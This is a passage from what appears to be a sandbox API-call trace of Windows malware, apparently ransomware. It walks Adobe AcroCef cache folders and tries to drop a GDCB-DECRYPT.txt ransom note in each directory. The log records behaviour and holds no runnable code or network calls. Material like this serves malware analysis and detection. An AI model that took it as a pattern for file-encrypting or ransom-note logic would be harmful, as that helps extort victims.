Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0169.990] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.990] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.990] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.990] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.990] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.990] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.990] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 121 [0169.990] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.990] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4dd8 [0169.990] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.990] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.990] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.990] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.990] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.990] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.990] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.990] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.991] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 128 [0169.991] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.991] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.991] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.991] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.991] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 137 [0169.991] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.991] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.991] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.991] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.991] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 138 [0169.991] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.992] GetLastError () returned 0x50 [0169.992] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.992] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 121 [0169.992] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0169.992] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4dd8 [0169.992] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.992] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.992] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.992] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.992] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.992] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.992] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.992] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0169.992] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0169.992] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.992] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.992] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.992] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.993] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 129 [0169.993] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.993] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x5a4e18 [0169.993] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.993] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.993] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.993] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.993] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.993] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.993] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.993] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 134 [0169.993] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.993] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0169.993] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0169.993] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0169.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 135 [0169.993] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0169.993] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.993] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.993] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.993] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 145 [0169.993] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.993] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0169.993] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.993] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.994] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 146 [0169.994] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.994] GetLastError () returned 0x50 [0169.994] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.994] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 129 [0169.994] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0169.994] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a49d8 [0169.995] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.995] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.995] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.995] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.995] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0169.995] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.995] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.995] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0169.995] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0169.995] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.995] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.995] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.995] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.995] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.995] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.995] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 135 [0169.995] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.996] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4e98 [0169.996] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.996] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.996] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.996] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.996] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.996] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.996] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.996] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.996] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 140 [0169.996] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.996] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.996] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.996] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0169.996] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 151 [0169.996] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.996] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0169.996] lstrcmpW (lpString1="Visited Links", lpString2=".") returned 1 [0169.996] lstrcmpW (lpString1="Visited Links", lpString2="..") returned 1 [0169.996] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0169.996] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 148 [0169.996] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0169.996] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0169.996] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.996] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt") returned 152 [0169.996] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.997] GetLastError () returned 0x50 [0169.997] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.997] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 135 [0169.997] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0169.997] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4e18 [0169.997] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.997] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.997] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.997] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.998] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0169.998] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.998] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.998] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0169.998] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\" [0169.998] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.998] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 